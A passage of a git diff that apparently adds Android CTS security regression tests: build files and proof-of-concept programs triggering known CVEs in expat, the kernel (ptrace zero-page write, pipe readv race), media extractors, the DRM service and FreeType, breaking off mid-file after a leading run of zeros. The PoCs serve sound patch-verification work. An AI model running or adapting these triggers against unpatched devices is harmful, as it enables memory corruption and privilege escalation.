0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000">
+  %a;
diff --git a/hostsidetests/securitybulletin/res/cve_2019_1988.mp4 b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
new file mode 100644
index 0000000..cdff65b
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_1988.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2184.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2184.mp4
new file mode 100644
index 0000000..a342aec
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2184.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4 b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
new file mode 100644
index 0000000..d8f7d4e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2228_ipp.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
new file mode 100644
index 0000000..dede1c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2012-6702
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES += $(TOP)/external/expat/lib/expat.h
+
+LOCAL_SHARED_LIBRARIES := \
+        libc \
+        libexpat \
+        liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
new file mode 100644
index 0000000..ab83a0d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include "expat.h"
+#include <log/log.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define MAX_SIZE 20
+
+int main(void) {
+  XML_Parser parser;
+  int i;
+  int randomValues[MAX_SIZE];
+  int isDistinctive = 0;
+
+  for (i = 0; i < MAX_SIZE; i++) {
+    parser = XML_ParserCreate("UTF-8");
+    XML_Parse(parser, "", 0, 1);
+    XML_ParserFree(parser);
+    randomValues[i] = rand();
+  }
+
+  for (i = 1; i < MAX_SIZE; i++) {
+    if (randomValues[0] != randomValues[i]) {
+      isDistinctive |= 1;
+    }
+  }
+
+  if (isDistinctive == 0) {
+    //encountered similar values
+    ALOGE("fail: encountered same random values!");
+    return -1;
+  }
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
new file mode 100644
index 0000000..0bd5a7c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2014-9803
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
new file mode 100644
index 0000000..6ab4633
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <../includes/common.h>
+
+volatile char *mem = 0;
+
+// child
+int check_zero_page() {
+  char *temp =
+      (char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  int zeropage = *(int *)temp;
+  munmap(temp, 4096);
+  return zeropage;
+}
+
+// child
+int do_child(int val) {
+  // enable tracing and wait until parent is finished unlocking zero page
+  ptrace(PTRACE_TRACEME, 0, 0, 0);
+  sleep(2);
+
+  mprotect((void *)mem, 4096, PROT_READ | PROT_WRITE);
+
+  // try to corrupt zero page
+  mem[0] = val;
+
+  int zeropage = check_zero_page();
+  return zeropage ? EXIT_VULNERABLE : 0;
+}
+
+// parent
+int do_trace(pid_t child) {
+  int status = 0;
+  sleep(1); // wait until child is set up
+  kill(child, SIGSTOP); // pause child
+  waitpid(child, &status, 0);
+
+  // unlock zero page
+  status = ptrace(PTRACE_PEEKDATA, child, mem, 0);
+
+  // stop tracing so child can continue
+  ptrace(PTRACE_DETACH, child, 0, 0);
+  kill(child, SIGCONT);
+  return status;
+}
+
+int main(void) {
+
+  char value = 0xAA;
+
+  mem = (volatile char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  mprotect((void *)mem, 4096, PROT_NONE);
+
+  pid_t child = fork();
+
+  if (child == 0) {
+    return do_child(value);
+  } else {
+    do_trace(child);
+  }
+
+  int status = 0;
+  waitpid(child, &status, 0); // wait for child to exit naturally
+  int exit = WEXITSTATUS(status); // get child exit status
+
+  munmap((void *)mem, 4096);
+
+  return exit;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk
new file mode 100644
index 0000000..6dd41bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2015-1805
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c
new file mode 100644
index 0000000..c80b5ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c
@@ -0,0 +1,112 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+#define BUFS 256
+#define IOV_LEN 16
+#define MAGIC 7
+
+int fd[2];
+struct iovec *iovs = NULL;
+
+void *func_evil(void *data) {
+  munmap((void *)(0x45678000), PAGE_SIZE);
+  mmap((void *)(0x45678000), PAGE_SIZE, PROT_READ | PROT_WRITE,
+       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+  return data;
+}
+
+void *func_readv(void *data) {
+  readv(fd[0], iovs, BUFS);
+  return data;
+}
+
+int main() {
+  int ret = -1, i;
+  void *bufs[BUFS];
+  time_t test_started = start_timer();
+  pthread_t thr_evil, thr_readv;
+
+  if (pipe(fd) < 0) {
+    goto __out;
+  }
+  fcntl(fd[0], F_SETFL, O_NONBLOCK);
+  fcntl(fd[1], F_SETFL, O_NONBLOCK);
+
+  iovs = (struct iovec *)malloc(sizeof(bufs) / sizeof(bufs[0]) *
+                                sizeof(struct iovec));
+  if (iovs == NULL) {
+    goto __close_pipe;
+  }
+
+  bufs[MAGIC] = mmap((void *)(0x45678000), PAGE_SIZE, PROT_READ | PROT_WRITE,
+                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+  if (bufs[MAGIC] == MAP_FAILED) {
+    goto __close_pipe;
+  }
+
+  for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) {
+    if (i == MAGIC) continue;
+    bufs[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
+                   MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+    if (bufs[i] == MAP_FAILED) {
+      goto __free_bufs;
+    }
+
+    iovs[i].iov_base = bufs[i];
+    iovs[i].iov_len = IOV_LEN;
+  }
+
+  iovs[MAGIC - 1].iov_len = IOV_LEN * 10;
+  iovs[MAGIC].iov_base = bufs[MAGIC];
+  iovs[MAGIC].iov_len = IOV_LEN;
+
+  i = 0;
+
+  while (timer_active(test_started)) {
+    write(fd[1], bufs[0], PAGE_SIZE);
+
+    pthread_create(&thr_evil, NULL, func_evil, NULL);
+    pthread_create(&thr_readv, NULL, func_readv, NULL);
+
+    pthread_join(thr_evil, NULL);
+    pthread_join(thr_readv, NULL);
+  }
+
+__free_bufs:
+  for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) {
+    if (bufs[i]) munmap(bufs[i], PAGE_SIZE);
+  }
+
+__close_pipe:
+  close(fd[0]);
+  close(fd[1]);
+
+__out:
+  return ret;
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.mk
new file mode 100644
index 0000000..3262ca5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/Android.mk
@@ -0,0 +1,34 @@
+#Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2015-3873
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libmediaextractor
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libmedia
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
new file mode 100644
index 0000000..5fc36aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp
@@ -0,0 +1,101 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include <stdlib.h>
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/stagefright/FileSource.h>
+#include <media/MediaExtractor.h>
+#include <media/IMediaExtractor.h>
+#include <media/DataSourceBase.h>
+#include <media/MediaTrack.h>
+#include <media/stagefright/MetaData.h>
+#define CONVERSION_FACTOR_SEC_TO_MICROSEC 1000000
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+
+using namespace android;
+#endif /* _64_BIT */
+
+int main(int argc, char **argv) {
+    (void) argc;
+    (void) argv;
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+        return EXIT_FAILURE;
+    }
+
+    MediaExtractor::GetExtractorDef getDef =
+            (MediaExtractor::GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+    if (!getDef) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    sp < DataSource > dataSource = new FileSource(argv[1]);
+    if (!dataSource) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    void *meta = nullptr;
+    MediaExtractor::CreatorFunc creator = nullptr;
+    MediaExtractor::FreeMetaFunc freeMeta = nullptr;
+    float confidence = 0.0f;
+    creator = getDef().sniff(dataSource.get(), &confidence, &meta, &freeMeta);
+    if (!creator) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    MediaExtractor *mp4Extractor = creator(dataSource.get(), meta);
+    if (!mp4Extractor) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    if (meta != nullptr && freeMeta != nullptr) {
+        freeMeta(meta);
+    }
+
+    //seek to 10 seconds in the mp4 file
+    int64_t seekTimeUs = 10 * CONVERSION_FACTOR_SEC_TO_MICROSEC;
+    size_t numTracks = mp4Extractor->countTracks();
+    for(size_t i = 0; i < numTracks; ++i) {
+        MetaDataBase metaDataBase;
+        MediaTrack *mediaTrack = mp4Extractor->getTrack(i);
+        mp4Extractor->getTrackMetaData(metaDataBase, i, MediaExtractor::kIncludeExtensiveMetaData);
+        MediaTrack::ReadOptions options;
+        if (seekTimeUs >= 0) {
+            options.setSeekTo(seekTimeUs, MediaTrack::ReadOptions::SEEK_PREVIOUS_SYNC);
+        }
+        MediaBufferBase *mbuf = nullptr;
+        mediaTrack->start(&metaDataBase);
+        mediaTrack->read(&mbuf, &options);
+    }
+    dlclose(libHandle);
+#endif /* _64_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
new file mode 100644
index 0000000..6a0317b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-0811
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libbinder \
+    libutils \
+    libmedia \
+    libmediadrm \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
new file mode 100644
index 0000000..b34166f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
@@ -0,0 +1,73 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/ICrypto.h>
+#include <media/IDrm.h>
+#include <media/IMediaDrmService.h>
+
+using namespace android;
+
+template <typename T>
+void mediaPoc(BpInterface<T> *sit) {
+  Parcel data, reply;
+  data.writeInterfaceToken(sit->getInterfaceDescriptor());
+  data.writeInt32(0);
+  data.writeInt32(0);
+  static const uint8_t kDummy[16] = {0};
+  data.write(kDummy, 16);
+  data.write(kDummy, 16);
+  const int wsize = 16 * 1024;
+  sp<MemoryDealer> dealer = new MemoryDealer(wsize);
+  sp<IMemory> memory = dealer->allocate(wsize);
+  data.writeInt32(wsize);
+  data.writeStrongBinder(IInterface::asBinder(memory));
+  const int ss = 0x1;
+  data.writeInt32(0xffffff00);
+  data.writeInt32(ss);
+  CryptoPlugin::SubSample samples[ss];
+  for (int i = 0; i < ss; i++) {
+    samples[i].mNumBytesOfEncryptedData = 0;
+    samples[i].mNumBytesOfClearData = wsize;
+  }
+  data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
+  char out[wsize] = {0};
+  reply.read(out, wsize);
+}
+
+static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
+                                          0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
+                                          0x52, 0xE2, 0xFB, 0x4B};
+
+int main(void) {
+  status_t st;
+  sp<ICrypto> crypto =
+      interface_cast<IMediaDrmService>(
+          defaultServiceManager()->getService(String16("media.drm")))
+          ->makeCrypto();
+
+  sp<IDrm> drm = interface_cast<IMediaDrmService>(
+                     defaultServiceManager()->getService(String16("media.drm")))
+                     ->makeDrm();
+
+  Vector<uint8_t> sess;
+  st = drm->createPlugin(kClearKeyUUID, (String8) "test");
+  st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
+  st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
+  BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
+  mediaPoc(sit);
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.mk
new file mode 100644
index 0000000..afcbd7c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-10244
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/freetype/include
+LOCAL_SHARED_LIBRARIES := libft2
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_UNDERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
new file mode 100644
index 0000000..e88cad4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-10244/poc.cpp
@@ -0,0 +1,60 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdint.h>
+
+#include <ft2build.h>
+#include FT_FREETYPE_H
+
+int main(int argc, char **argv) {
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+
+    FILE *fp = fopen(argv[1], "rb");
+    if (!fp) {
+        return EXIT_FAILURE;
+    }
+
+    fseek(fp, 0, SEEK_END);
+    size_t size = ftell(fp);
+    fseek(fp, 0, SEEK_SET);
+    if (size < 1) {
+        fclose(fp);
+        return EXIT_FAILURE;
+    }
+
+    uint8_t *data = new uint8_t[size];
+    if(!data) {
+        fclose(fp);
+        return EXIT_FAILURE;
+    }
+    (void)fread(data, sizeof(uint8_t), size, fp);
+    fclose(fp);
+    fp = nullptr;
+
+    FT_Library ftLib;
+    if(FT_Init_FreeType(&ftLib)) {
+        delete[] data;
+        return EXIT_FAILURE;
+    }
+
+    FT_Face ftFace;
+    FT_New_Memory_Face(ftLib, data, size, -33, &ftFace);
+
+    FT_Done_FreeType(ftLib);
+    delete[] data;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
new file mode 100644
index 0000000..77de47e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2018 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := CVE-2016-2412

+LOCAL_SRC_FILES := poc.cpp

+

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+LOCAL_SHARED_LIBRARIES := libbinder \

+                          libutils

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts vts sts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+LOCAL_CFLAGS += -Wall -Werror

+

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
new file mode 100644
index 0000000..7e3b067
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
@@ -0,0 +1,99 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+using namespace android;
+typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
+
+static void writeParcelableHead(Parcel *pData, const char *class_name) {
+  // write key
+  static int count = 1;
